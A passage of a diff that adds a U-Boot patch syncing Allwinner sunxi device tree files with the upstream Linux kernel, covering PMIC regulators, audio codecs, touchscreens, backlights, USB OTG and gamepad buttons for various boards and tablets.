+++ b/target/linux/sunxi/image/uboot/patches/011-dt-sync-dts-files-with-kernel.patch
@@ -0,0 +1,7211 @@
+From 80e5f83c0fc4bf42110cc55ce671ad7ddc7b08a4 Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Mon, 14 Mar 2016 17:37:09 +0100
+Subject: [PATCH] sunxi: Sync dts files with the upstream kernel
+
+Sync dts files with the upstream kernel including
+changes queued for 4.6:
+
+https://git.kernel.org/cgit/linux/kernel/git/mripard/linux.git/commit/?h=sunxi/dt-for-4.6
+
+Note this adds a number of new unused board dts files. I've asked the
+authors of the kernel commits adding these to submit a matching defconfig
+to u-boot.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Acked-by: Ian Campbell <ijc at hellion.org.uk>
+---
+ arch/arm/dts/Makefile                              |   8 +-
+ arch/arm/dts/axp22x.dtsi                           | 145 ++++++++++++
+ arch/arm/dts/sun4i-a10-a1000.dts                   |   4 +
+ arch/arm/dts/sun4i-a10-chuwi-v7-cw0825.dts         |  22 ++
+ arch/arm/dts/sun4i-a10-cubieboard.dts              |   4 +
+ arch/arm/dts/sun4i-a10-gemei-g9.dts                |  63 +++++-
+ arch/arm/dts/sun4i-a10-inet1.dts                   |  48 ++++
+ arch/arm/dts/sun4i-a10-inet97fv2.dts               | 127 ++++++++++-
+ arch/arm/dts/sun4i-a10-inet9f-rev03.dts            | 181 +++++++++++++++
+ arch/arm/dts/sun4i-a10-itead-iteaduino-plus.dts    |  86 +------
+ arch/arm/dts/sun4i-a10-jesurun-q5.dts              |  15 ++
+ arch/arm/dts/sun4i-a10-marsboard.dts               |  23 ++
+ arch/arm/dts/sun4i-a10-mk802.dts                   |  37 +++
+ arch/arm/dts/sun4i-a10-olinuxino-lime.dts          |  12 +
+ arch/arm/dts/sun4i-a10-pcduino.dts                 |  58 ++++-
+ arch/arm/dts/sun4i-a10-pcduino2.dts                |  78 +++++++
+ arch/arm/dts/sun4i-a10-pov-protab2-ips9.dts        |  69 ++++++
+ arch/arm/dts/sun4i-a10.dtsi                        | 153 +++++++++++--
+ arch/arm/dts/sun5i-a10s-auxtek-t004.dts            |  14 ++
+ arch/arm/dts/sun5i-a10s-olinuxino-micro.dts        |   2 +-
+ arch/arm/dts/sun5i-a13-empire-electronix-d709.dts  |  19 +-
+ arch/arm/dts/sun5i-a13-inet-98v-rev2.dts           |  26 +--
+ arch/arm/dts/sun5i-a13-utoo-p66.dts                |  30 +++
+ arch/arm/dts/sun5i-q8-common.dtsi                  |  10 +
+ arch/arm/dts/sun5i-r8-chip.dts                     |  47 +++-
+ arch/arm/dts/sun5i.dtsi                            |  31 +++
+ arch/arm/dts/sun6i-a31-colombus.dts                |  24 ++
+ arch/arm/dts/sun6i-a31-hummingbird.dts             | 132 ++++++-----
+ arch/arm/dts/sun6i-a31.dtsi                        |  65 +++++-
+ arch/arm/dts/sun6i-a31s-primo81.dts                | 247 ++++++++++++++++++++-
+ arch/arm/dts/sun6i-a31s-sina31s-core.dtsi          | 142 ++++++++++++
+ arch/arm/dts/sun6i-a31s-sina31s.dts                | 153 +++++++++++++
+ .../arm/dts/sun6i-a31s-yones-toptech-bs1078-v2.dts | 205 +++++++++++++++++
+ arch/arm/dts/sun7i-a20-bananapi.dts                |  78 ++++++-
+ arch/arm/dts/sun7i-a20-cubieboard2.dts             |  23 ++
+ arch/arm/dts/sun7i-a20-cubietruck.dts              |   4 +
+ arch/arm/dts/sun7i-a20-icnova-swac.dts             | 169 ++++++++++++++
+ arch/arm/dts/sun7i-a20-itead-ibox.dts              | 125 +++++++++++
+ arch/arm/dts/sun7i-a20-lamobo-r1.dts               |  10 -
+ arch/arm/dts/sun7i-a20-mk808c.dts                  |  39 ++++
+ arch/arm/dts/sun7i-a20-olimex-som-evb.dts          |  95 ++++++--
+ arch/arm/dts/sun7i-a20-olinuxino-lime.dts          |  12 +
+ arch/arm/dts/sun7i-a20-olinuxino-lime2.dts         |  47 ++++
+ arch/arm/dts/sun7i-a20-olinuxino-micro.dts         |   6 +
+ arch/arm/dts/sun7i-a20-orangepi-mini.dts           |  33 +++
+ arch/arm/dts/sun7i-a20-orangepi.dts                |  29 +++
+ arch/arm/dts/sun7i-a20-pcduino3-nano.dts           |  69 +++++-
+ arch/arm/dts/sun7i-a20-pcduino3.dts                |  58 ++++-
+ arch/arm/dts/sun7i-a20-wexler-tab7200.dts          |  90 +++++++-
+ arch/arm/dts/sun7i-a20-wits-pro-a20-dkt.dts        | 187 +++++++++++++++-
+ arch/arm/dts/sun7i-a20.dtsi                        | 113 +++++++++-
+ arch/arm/dts/sun8i-a23-a33.dtsi                    |  71 ++++--
+ arch/arm/dts/sun8i-a23-gt90h-v4.dts                | 120 +++++++++-
+ arch/arm/dts/sun8i-a23.dtsi                        |  25 +++
+ arch/arm/dts/sun8i-a33-sinlinx-sina33.dts          |  83 ++++++-
+ arch/arm/dts/sun8i-a33.dtsi                        |  45 ++++
+ arch/arm/dts/sun8i-a83t-cubietruck-plus.dts        |  65 ++++++
+ arch/arm/dts/sun8i-a83t.dtsi                       | 125 +++++------
+ arch/arm/dts/sun8i-h3-orangepi-pc.dts              |  69 ++++++
+ arch/arm/dts/sun8i-h3-orangepi-plus.dts            |  63 ++++++
+ arch/arm/dts/sun8i-h3.dtsi                         | 189 +++++++++++-----
+ arch/arm/dts/sun8i-q8-common.dtsi                  |  96 +++++++-
+ arch/arm/dts/sun9i-a80-cubieboard4.dts             |  36 +++
+ arch/arm/dts/sun9i-a80-optimus.dts                 |  48 ++--
+ arch/arm/dts/sun9i-a80.dtsi                        | 204 +++++++++++++++--
+ arch/arm/dts/sunxi-itead-core-common.dtsi          | 136 ++++++++++++
+ arch/arm/dts/sunxi-q8-common.dtsi                  |   6 +
+ 67 files changed, 4351 insertions(+), 497 deletions(-)
+ create mode 100644 arch/arm/dts/axp22x.dtsi
+ create mode 100644 arch/arm/dts/sun4i-a10-pcduino2.dts
+ create mode 100644 arch/arm/dts/sun6i-a31s-sina31s-core.dtsi
+ create mode 100644 arch/arm/dts/sun6i-a31s-sina31s.dts
+ create mode 100644 arch/arm/dts/sun6i-a31s-yones-toptech-bs1078-v2.dts
+ create mode 100644 arch/arm/dts/sun7i-a20-icnova-swac.dts
+ create mode 100644 arch/arm/dts/sun7i-a20-itead-ibox.dts
+ create mode 100644 arch/arm/dts/sun8i-a83t-cubietruck-plus.dts
+ create mode 100644 arch/arm/dts/sunxi-itead-core-common.dtsi
+
+--- a/arch/arm/dts/Makefile
++++ b/arch/arm/dts/Makefile
+@@ -126,6 +126,7 @@ dtb-$(CONFIG_MACH_SUN4I) += \
+ 	sun4i-a10-mk802ii.dtb \
+ 	sun4i-a10-olinuxino-lime.dtb \
+ 	sun4i-a10-pcduino.dtb \
++	sun4i-a10-pcduino2.dtb \
+ 	sun4i-a10-pov-protab2-ips9.dtb
+ dtb-$(CONFIG_MACH_SUN5I) += \
+ 	sun5i-a10s-auxtek-t003.dtb \
+@@ -155,7 +156,9 @@ dtb-$(CONFIG_MACH_SUN6I) += \
+ 	sun6i-a31-pangolin.dtb \
+ 	sun6i-a31s-cs908.dtb \
+ 	sun6i-a31s-primo81.dtb \
+-	sun6i-a31s-sinovoip-bpi-m2.dtb
++	sun6i-a31s-sina31s.dtb \
++	sun6i-a31s-sinovoip-bpi-m2.dtb \
++	sun6i-a31s-yones-toptech-bs1078-v2.dtb
+ dtb-$(CONFIG_MACH_SUN7I) += \
+ 	sun7i-a20-ainol-aw1.dtb \
+ 	sun7i-a20-bananapi.dtb \
+@@ -164,6 +167,8 @@ dtb-$(CONFIG_MACH_SUN7I) += \
+ 	sun7i-a20-cubietruck.dtb \
+ 	sun7i-a20-hummingbird.dtb \
+ 	sun7i-a20-i12-tvbox.dtb \
++	sun7i-a20-icnova-swac.dtb \
++	sun7i-a20-itead-ibox.dtb \
+ 	sun7i-a20-lamobo-r1.dtb \
+ 	sun7i-a20-m3.dtb \
+ 	sun7i-a20-m5.dtb \
+@@ -190,6 +195,7 @@ dtb-$(CONFIG_MACH_SUN8I_A33) += \
+ 	sun8i-a33-sinlinx-sina33.dtb
+ dtb-$(CONFIG_MACH_SUN8I_A83T) += \
+ 	sun8i-a83t-allwinner-h8homlet-v2.dtb \
++	sun8i-a83t-cubietruck-plus.dtb \
+ 	sun8i-a83t-sinovoip-bpi-m3.dtb
+ dtb-$(CONFIG_MACH_SUN8I_H3) += \
+ 	sun8i-h3-orangepi-pc.dtb \
+--- /dev/null
++++ b/arch/arm/dts/axp22x.dtsi
+@@ -0,0 +1,145 @@
++/*
++ * Copyright 2015 Chen-Yu Tsai
++ *
++ * Chen-Yu Tsai <wens at csie.org>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/*
++ * AXP221/221s/223 Integrated Power Management Chip
++ * http://www.x-powers.com/product/AXP22X.php
++ * http://dl.linux-sunxi.org/AXP/AXP221%20Datasheet%20V1.2%2020130326%20.pdf
++ */
++
++&axp22x {
++	interrupt-controller;
++	#interrupt-cells = <1>;
++
++	regulators {
++		/* Default work frequency for buck regulators */
++		x-powers,dcdc-freq = <3000>;
++
++		reg_dcdc1: dcdc1 {
++			regulator-name = "dcdc1";
++		};
++
++		reg_dcdc2: dcdc2 {
++			regulator-name = "dcdc2";
++		};
++
++		reg_dcdc3: dcdc3 {
++			regulator-name = "dcdc3";
++		};
++
++		reg_dcdc4: dcdc4 {
++			regulator-name = "dcdc4";
++		};
++
++		reg_dcdc5: dcdc5 {
++			regulator-name = "dcdc5";
++		};
++
++		reg_dc1sw: dc1sw {
++			regulator-name = "dc1sw";
++		};
++
++		reg_dc5ldo: dc5ldo {
++			regulator-name = "dc5ldo";
++		};
++
++		reg_aldo1: aldo1 {
++			regulator-name = "aldo1";
++		};
++
++		reg_aldo2: aldo2 {
++			regulator-name = "aldo2";
++		};
++
++		reg_aldo3: aldo3 {
++			regulator-name = "aldo3";
++		};
++
++		reg_dldo1: dldo1 {
++			regulator-name = "dldo1";
++		};
++
++		reg_dldo2: dldo2 {
++			regulator-name = "dldo2";
++		};
++
++		reg_dldo3: dldo3 {
++			regulator-name = "dldo3";
++		};
++
++		reg_dldo4: dldo4 {
++			regulator-name = "dldo4";
++		};
++
++		reg_eldo1: eldo1 {
++			regulator-name = "eldo1";
++		};
++
++		reg_eldo2: eldo2 {
++			regulator-name = "eldo2";
++		};
++
++		reg_eldo3: eldo3 {
++			regulator-name = "eldo3";
++		};
++
++		reg_ldo_io0: ldo_io0 {
++			regulator-name = "ldo_io0";
++			status = "disabled";
++		};
++
++		reg_ldo_io1: ldo_io1 {
++			regulator-name = "ldo_io1";
++			status = "disabled";
++		};
++
++		reg_rtc_ldo: rtc_ldo {
++			/* RTC_LDO is a fixed, always-on regulator */
++			regulator-always-on;
++			regulator-min-microvolt = <3000000>;
++			regulator-max-microvolt = <3000000>;
++			regulator-name = "rtc_ldo";
++		};
++	};
++};
+--- a/arch/arm/dts/sun4i-a10-a1000.dts
++++ b/arch/arm/dts/sun4i-a10-a1000.dts
+@@ -93,6 +93,10 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+--- a/arch/arm/dts/sun4i-a10-chuwi-v7-cw0825.dts
++++ b/arch/arm/dts/sun4i-a10-chuwi-v7-cw0825.dts
+@@ -45,6 +45,7 @@
+ #include "sunxi-common-regulators.dtsi"
+ #include <dt-bindings/gpio/gpio.h>
+ #include <dt-bindings/input/input.h>
++#include <dt-bindings/interrupt-controller/irq.h>
+ 
+ / {
+ 	model = "Chuwi V7 CW0825";
+@@ -78,6 +79,27 @@
+ 	};
+ };
+ 
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++};
++
++&i2c2 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c2_pins_a>;
++	status = "okay";
++
++	ft5306de4: touchscreen at 38 {
++		compatible = "edt,edt-ft5406";
++		reg = <0x38>;
++		interrupt-parent = <&pio>;
++		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>;
++		touchscreen-size-x = <1024>;
++		touchscreen-size-y = <768>;
++	};
++};
++
+ &lradc {
+ 	vref-supply = <&reg_vcc3v0>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun4i-a10-cubieboard.dts
++++ b/arch/arm/dts/sun4i-a10-cubieboard.dts
+@@ -83,6 +83,10 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &cpu0 {
+ 	cpu-supply = <&reg_dcdc2>;
+ };
+--- a/arch/arm/dts/sun4i-a10-gemei-g9.dts
++++ b/arch/arm/dts/sun4i-a10-gemei-g9.dts
+@@ -47,6 +47,7 @@
+ #include "sunxi-common-regulators.dtsi"
+ #include <dt-bindings/gpio/gpio.h>
+ #include <dt-bindings/input/input.h>
++#include <dt-bindings/interrupt-controller/irq.h>
+ 
+ / {
+ 	model = "Gemei G9 Tablet";
+@@ -64,12 +65,22 @@
+ /*
+  * TODO:
+  *   2x cameras via CSI
+- *   bma250 IRQs
+  *   AXP battery management
+  *   NAND
+  *   OTG
+  *   Touchscreen - gt801_2plus1 @ i2c adapter 2 @ 0x48
+  */
++&codec {
++	/* PH15 controls power to external amplifier (ft2012q) */
++	pinctrl-names = "default";
++	pinctrl-0 = <&codec_pa_pin>;
++	allwinner,pa-gpios = <&pio 7 15 GPIO_ACTIVE_HIGH>;
++	status = "okay";
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
++};
+ 
+ &ehci0 {
+ 	status = "okay";
+@@ -85,15 +96,13 @@
+ 	status = "okay";
+ 
+ 	axp209: pmic at 34 {
+-		compatible = "x-powers,axp209";
+ 		reg = <0x34>;
+ 		interrupts = <0>;
+-
+-		interrupt-controller;
+-		#interrupt-cells = <1>;
+ 	};
+ };
+ 
++#include "axp209.dtsi"
++
+ &i2c1 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c1_pins_a>;
+@@ -103,17 +112,13 @@
+ 	bma250 at 18 {
+ 		compatible = "bosch,bma250";
+ 		reg = <0x18>;
+-
+-		/*
+-		 * TODO: interrupt pins:
+-		 * int1 - PH00
+-		 * int2 - PI10
+-		 */
++		interrupt-parent = <&pio>;
++		interrupts = <7 0 IRQ_TYPE_EDGE_RISING>; /* PH00 / EINT0 */
+ 	};
+ };
+ 
+ &lradc {
+-	vref-supply = <&reg_vcc3v0>;
++	vref-supply = <&reg_ldo2>;
+ 
+ 	status = "okay";
+ 
+@@ -149,6 +154,40 @@
+ 	status = "okay";
+ };
+ 
++&pio {
++	codec_pa_pin: codec_pa_pin at 0 {
++		allwinner,pins = "PH15";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1250000>;
++	regulator-max-microvolt = <1250000>;
++	regulator-name = "vdd-int-dll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
++};
++
+ &reg_usb1_vbus {
+ 	status = "okay";
+ };
+--- a/arch/arm/dts/sun4i-a10-inet1.dts
++++ b/arch/arm/dts/sun4i-a10-inet1.dts
+@@ -47,6 +47,7 @@
+ #include <dt-bindings/input/input.h>
+ #include <dt-bindings/interrupt-controller/irq.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
++#include <dt-bindings/pwm/pwm.h>
+ 
+ / {
+ 	model = "iNet-1";
+@@ -56,11 +57,25 @@
+ 		serial0 = &uart0;
+ 	};
+ 
++	backlight: backlight {
++		compatible = "pwm-backlight";
++		pinctrl-names = "default";
++		pinctrl-0 = <&bl_en_pin_inet>;
++		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
++		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
++		default-brightness-level = <8>;
++		enable-gpios = <&pio 7 7 GPIO_ACTIVE_HIGH>; /* PH7 */
++	};
++
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &cpu0 {
+ 	cpu-supply = <&reg_dcdc2>;
+ };
+@@ -104,6 +119,19 @@
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c2_pins_a>;
+ 	status = "okay";
++
++	ft5x: touchscreen at 38 {
++		compatible = "edt,edt-ft5406";
++		reg = <0x38>;
++		interrupt-parent = <&pio>;
++		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>;
++		pinctrl-names = "default";
++		pinctrl-0 = <&touchscreen_wake_pin>;
++		wake-gpios = <&pio 1 13 GPIO_ACTIVE_HIGH>; /* PB13 */
++		touchscreen-size-x = <600>;
++		touchscreen-size-y = <1024>;
++		touchscreen-swapped-x-y;
++	};
+ };
+ 
+ &lradc {
+@@ -151,6 +179,20 @@
+ };
+ 
+ &pio {
++	bl_en_pin_inet: bl_en_pin at 0 {
++		allwinner,pins = "PH7";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	touchscreen_wake_pin: touchscreen_wake_pin at 0 {
++		allwinner,pins = "PB13";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
+ 	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
+ 		allwinner,pins = "PH4";
+ 		allwinner,function = "gpio_in";
+@@ -166,6 +208,12 @@
+ 	};
+ };
+ 
++&pwm {
++	pinctrl-names = "default";
++	pinctrl-0 = <&pwm0_pins_a>;
++	status = "okay";
++};
++
+ &reg_dcdc2 {
+ 	regulator-always-on;
+ 	regulator-min-microvolt = <1000000>;
+--- a/arch/arm/dts/sun4i-a10-inet97fv2.dts
++++ b/arch/arm/dts/sun4i-a10-inet97fv2.dts
+@@ -47,6 +47,8 @@
+ #include "sunxi-common-regulators.dtsi"
+ 
+ #include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/input/input.h>
++#include <dt-bindings/interrupt-controller/irq.h>
+ 
+ / {
+ 	model = "INet-97F Rev 02";
+@@ -61,8 +63,8 @@
+ 	};
+ };
+ 
+-&ehci0 {
+-	status = "okay";
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
+ };
+ 
+ &ehci1 {
+@@ -75,12 +77,71 @@
+ 	status = "okay";
+ 
+ 	axp209: pmic at 34 {
+-		compatible = "x-powers,axp209";
+ 		reg = <0x34>;
+ 		interrupts = <0>;
++	};
++};
++
++#include "axp209.dtsi"
++
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++};
++
++&i2c2 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c2_pins_a>;
++	status = "okay";
++
++	ft5406ee8: touchscreen at 38 {
++		compatible = "edt,edt-ft5406";
++		reg = <0x38>;
++		interrupt-parent = <&pio>;
++		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>;
++		touchscreen-size-x = <800>;
++		touchscreen-size-y = <480>;
++	};
++};
++
++&lradc {
++	vref-supply = <&reg_ldo2>;
++	status = "okay";
++
++	button at 200 {
++		label = "Menu";
++		linux,code = <KEY_MENU>;
++		channel = <0>;
++		voltage = <200000>;
++	};
++
++	button at 600 {
++		label = "Volume Up";
++		linux,code = <KEY_VOLUMEUP>;
++		channel = <0>;
++		voltage = <600000>;
++	};
+ 
+-		interrupt-controller;
+-		#interrupt-cells = <1>;
++	button at 800 {
++		label = "Volume Down";
++		linux,code = <KEY_VOLUMEDOWN>;
++		channel = <0>;
++		voltage = <800000>;
++	};
++
++	button at 1000 {
++		label = "Home";
++		linux,code = <KEY_HOMEPAGE>;
++		channel = <0>;
++		voltage = <1000000>;
++	};
++
++	button at 1200 {
++		label = "Esc";
++		linux,code = <KEY_ESC>;
++		channel = <0>;
++		voltage = <1200000>;
+ 	};
+ };
+ 
+@@ -94,15 +155,52 @@
+ 	status = "okay";
+ };
+ 
+-&ohci0 {
++&otg_sram {
+ 	status = "okay";
+ };
+ 
+-&ohci1 {
+-	status = "okay";
++&pio {
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
++	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
++		allwinner,pins = "PH5";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_DOWN>;
++	};
++};
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
+ };
+ 
+-&reg_usb1_vbus {
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1250000>;
++	regulator-max-microvolt = <1250000>;
++	regulator-name = "vdd-int-dll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
++};
++
++&reg_usb0_vbus {
+ 	status = "okay";
+ };
+ 
+@@ -116,8 +214,17 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ &usbphy {
+-	usb1_vbus-supply = <&reg_usb1_vbus>;
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_det-gpio = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH5 */
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+ };
+--- a/arch/arm/dts/sun4i-a10-inet9f-rev03.dts
++++ b/arch/arm/dts/sun4i-a10-inet9f-rev03.dts
+@@ -59,6 +59,159 @@
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
++
++	gpio_keys {
++		compatible = "gpio-keys-polled";
++		pinctrl-names = "default";
++		pinctrl-0 = <&key_pins_inet9f>;
++		#address-cells = <1>;
++		#size-cells = <0>;
++		poll-interval = <20>;
++
++		button at 0 {
++			label = "Left Joystick Left";
++			linux,code = <ABS_X>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <0xffffffff>; /* -1 */
++			gpios = <&pio 0 6 GPIO_ACTIVE_LOW>; /* PA6 */
++		};
++
++		button at 1 {
++			label = "Left Joystick Right";
++			linux,code = <ABS_X>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <1>;
++			gpios = <&pio 0 5 GPIO_ACTIVE_LOW>; /* PA5 */
++		};
++
++		button at 2 {
++			label = "Left Joystick Up";
++			linux,code = <ABS_Y>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <0xffffffff>; /* -1 */
++			gpios = <&pio 0 8 GPIO_ACTIVE_LOW>; /* PA8 */
++		};
++
++		button at 3 {
++			label = "Left Joystick Down";
++			linux,code = <ABS_Y>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <1>;
++			gpios = <&pio 0 9 GPIO_ACTIVE_LOW>; /* PA9 */
++		};
++
++		button at 4 {
++			label = "Right Joystick Left";
++			linux,code = <ABS_Z>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <0xffffffff>; /* -1 */
++			gpios = <&pio 0 1 GPIO_ACTIVE_LOW>; /* PA1 */
++		};
++
++		button at 5 {
++			label = "Right Joystick Right";
++			linux,code = <ABS_Z>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <1>;
++			gpios = <&pio 0 0 GPIO_ACTIVE_LOW>; /* PA0 */
++		};
++
++		button at 6 {
++			label = "Right Joystick Up";
++			linux,code = <ABS_RZ>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <0xffffffff>; /* -1 */
++			gpios = <&pio 0 3 GPIO_ACTIVE_LOW>; /* PA3 */
++		};
++
++		button at 7 {
++			label = "Right Joystick Down";
++			linux,code = <ABS_RZ>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <1>;
++			gpios = <&pio 0 4 GPIO_ACTIVE_LOW>; /* PA4 */
++		};
++
++		button at 8 {
++			label = "DPad Left";
++			linux,code = <ABS_HAT0X>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <0xffffffff>; /* -1 */
++			gpios = <&pio 7 23 GPIO_ACTIVE_LOW>; /* PH23 */
++		};
++
++		button at 9 {
++			label = "DPad Right";
++			linux,code = <ABS_HAT0X>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <1>;
++			gpios = <&pio 7 24 GPIO_ACTIVE_LOW>; /* PH24 */
++		};
++
++		button at 10 {
++			label = "DPad Up";
++			linux,code = <ABS_HAT0Y>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <0xffffffff>; /* -1 */
++			gpios = <&pio 7 25 GPIO_ACTIVE_LOW>; /* PH25 */
++		};
++
++		button at 11 {
++			label = "DPad Down";
++			linux,code = <ABS_HAT0Y>;
++			linux,input-type = <EV_ABS>;
++			linux,input-value = <1>;
++			gpios = <&pio 7 26 GPIO_ACTIVE_LOW>; /* PH26 */
++		};
++
++		button at 12 {
++			label = "Button X";
++			linux,code = <BTN_X>;
++			gpios = <&pio 0 16 GPIO_ACTIVE_LOW>; /* PA16 */
++		};
++
++		button at 13 {
++			label = "Button Y";
++			linux,code = <BTN_Y>;
++			gpios = <&pio 0 14 GPIO_ACTIVE_LOW>; /* PA14 */
++		};
++
++		button at 14 {
++			label = "Button A";
++			linux,code = <BTN_A>;
++			gpios = <&pio 0 17 GPIO_ACTIVE_LOW>; /* PA17 */
++		};
++
++		button at 15 {
++			label = "Button B";
++			linux,code = <BTN_B>;
++			gpios = <&pio 0 15 GPIO_ACTIVE_LOW>; /* PA15 */
++		};
++
++		button at 16 {
++			label = "Select Button";
++			linux,code = <BTN_SELECT>;
++			gpios = <&pio 0 11 GPIO_ACTIVE_LOW>; /* PA11 */
++		};
++
++		button at 17 {
++			label = "Start Button";
++			linux,code = <BTN_START>;
++			gpios = <&pio 0 12 GPIO_ACTIVE_LOW>; /* PA12 */
++		};
++
++		button at 18 {
++			label = "Top Left Button";
++			linux,code = <BTN_TL>;
++			gpios = <&pio 7 22 GPIO_ACTIVE_LOW>; /* PH22 */
++		};
++
++		button at 19 {
++			label = "Top Right Button";
++			linux,code = <BTN_TR>;
++			gpios = <&pio 0 13 GPIO_ACTIVE_LOW>; /* PA13 */
++		};
++	};
+ };
+ 
+ &cpu0 {
+@@ -86,12 +239,29 @@
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c1_pins_a>;
+ 	status = "okay";
++
++	/* Accelerometer */
++	bma250 at 18 {
++		compatible = "bosch,bma250";
++		reg = <0x18>;
++		interrupt-parent = <&pio>;
++		interrupts = <7 0 IRQ_TYPE_EDGE_RISING>; /* PH0 / EINT0 */
++	};
+ };
+ 
+ &i2c2 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c2_pins_a>;
+ 	status = "okay";
++
++	ft5406ee8: touchscreen at 38 {
++		compatible = "edt,edt-ft5406";
++		reg = <0x38>;
